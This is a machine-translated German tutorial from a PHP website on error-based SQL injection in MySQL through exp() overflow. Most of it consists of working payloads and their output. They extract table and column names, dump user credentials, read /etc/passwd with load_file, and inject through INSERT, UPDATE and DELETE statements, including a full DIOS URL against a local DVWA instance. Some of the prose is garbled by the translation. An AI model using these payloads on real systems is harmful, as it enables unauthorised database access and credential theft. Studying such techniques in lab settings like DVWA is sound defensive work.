So verwenden Sie exp für die SQL-Fehlerinjektion

WBOY
Freigeben: 2023-05-12 10:16:12
nach vorne
1621 Leute haben es durchsucht

0x01 Einführungsübersicht

Der Herausgeber hat einen weiteren doppelten Datenüberlauf in MySQL entdeckt. Wenn wir die Funktionen in MySQL erhalten, interessiert sich der Editor mehr für die mathematischen Funktionen. Sie sollten auch einige Datentypen zum Speichern von Werten enthalten. Daher führte der Editor einen Test durch, um festzustellen, welche Funktionen Überlauffehler verursachen würden. Dann stellte der Editor fest, dass die Funktion exp() einen Überlauffehler verursacht, wenn ein Wert größer als 709 übergeben wird.

So verwenden Sie exp für die SQL-Fehlerinjektion

mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

Nach dem Login kopieren

In MySQL hat exp die entgegengesetzte Funktion von ln und log. Kurz gesagt: Sowohl log als auch ln geben Paare mit e als Basis zurück. Zahl, siehe Gleichung:

So verwenden Sie exp für die SQL-Fehlerinjektion
So verwenden Sie exp für die SQL-Fehlerinjektion

mysql> select log(15);
+------------------+
| log(15) |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)


mysql> select ln(15);
+------------------+
| ln(15) |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)

Nach dem Login kopieren

Die Exponentialfunktion ist die Umkehrfunktion der logarithmischen Funktion, exp () ist die logarithmische Funktion mit e als Basis, wie zum Beispiel die Gleichung:

So verwenden Sie exp für die SQL-Fehlerinjektion
mysql> select exp(2.70805020110221); +-----------------------+ | exp(2.70805020110221) | +-----------------------+ | 15 | +-----------------------+ 1 row in set (0.00 sec)
Nach dem Login kopieren

0x02 Injektion# #

Bei der Injektion verwenden wir negative Abfragen, um den Fehler „DOUBLE-Wert liegt außerhalb des Bereichs“ zu verursachen. Wie im vorherigen Blogbeitrag des Autors erwähnt, gibt die bitweise Invertierung von 0 „18446744073709551615“ zurück. Da die Funktion nach erfolgreicher Ausführung 0 zurückgibt, erhalten wir durch Invertieren des erfolgreich ausgeführten BIGINT-Werts ***.

mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)


mysql> select ~(select version());
+----------------------+
| ~(select version()) |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)

Nach dem Login kopieren
Wir erzeugen einen DOPPELTEN Überlauffehler durch Unterabfrage und bitweise Negation und verwenden diesen, um Daten einzufügen.

>`exp(~(select*from(select user())x))` mysql> select exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
Nach dem Login kopieren

0x03 Daten injizieren

Tabellennamen abrufen:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
Nach dem Login kopieren
Spaltennamen abrufen: # #
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
Nach dem Login kopieren

Daten abrufen:

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
Nach dem Login kopieren

0x04 Overnight

Diese Abfrage kann alle Tabellen und Spalten aus dem aktuellen Kontext sichern. Wir könnten auch die gesamte Datenbank entsorgen, da wir jedoch aufgrund eines Fehlers extrahieren, werden nur sehr wenige Ergebnisse zurückgegeben.

exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)) http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#
Nach dem Login kopieren

So verwenden Sie exp für die SQL-Fehlerinjektion
0x05 Lesen Sie die Datei

Sie können sie über die Funktion „load_file()“ lesen. Funktion Ruft die Datei ab, aber der Autor hat festgestellt, dass es eine Begrenzung auf 13 Zeilen gibt. Diese Anweisung kann auch in BIGINT-Überlaufinjektionen verwendet werden.

select exp(~(select*from(select load_file('/etc/passwd'))a));
Nach dem Login kopieren

So verwenden Sie exp für die SQL-FehlerinjektionBeachten Sie, dass Sie nicht in die Datei schreiben können, da dieser Fehler nur 0 schreibt.
mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt'; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))' # type C:\out.txt 0
Nach dem Login kopieren

0x06-Injection in Insert

Folgen Sie einfach den Schritten

mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
Nach dem Login kopieren

Für alle Anweisungen zum Einfügen, Aktualisieren und Löschen Es können auch DIOS-Abfragen verwendet werden.

mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000 newdb::users::id newdb::users::username newdb::users::password' from dual)))'
Nach dem Login kopieren

0x07-Injektion im Update

mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
Nach dem Login kopieren

0x08-Injection im Löschen

mysql> delete from users where id='1' | exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
Nach dem Login kopieren
# #Ähnlich wie die vorherige BIGINT-Injektion ist die Exp-Injektion auch auf MySQL5.5.5 und höher anwendbar. Frühere Versionen schwiegen zu dieser Situation.

mysql> select version(); +---------------------+ | version() | +---------------------+ | 5.0.45-community-nt | +---------------------+ 1 row in set (0.00 sec) mysql> select exp(710); +----------+ | exp(710) | +----------+ | 1.#INF | +----------+ 1 row in set (0.00 sec) mysql> select exp(~0); +---------+ | exp(~0) | +---------+ | 1.#INF | +---------+ 1 row in set (0.00 sec)
Nach dem Login kopieren
Möglicherweise gibt es andere Funktionen, die diese Art von Fehler erzeugen.

Das obige ist der detaillierte Inhalt vonSo verwenden Sie exp für die SQL-Fehlerinjektion. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:yisu.com
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage
Über uns Haftungsausschluss Sitemap
Chinesische PHP-Website:Online-PHP-Schulung für das Gemeinwohl,Helfen Sie PHP-Lernenden, sich schnell weiterzuentwickeln!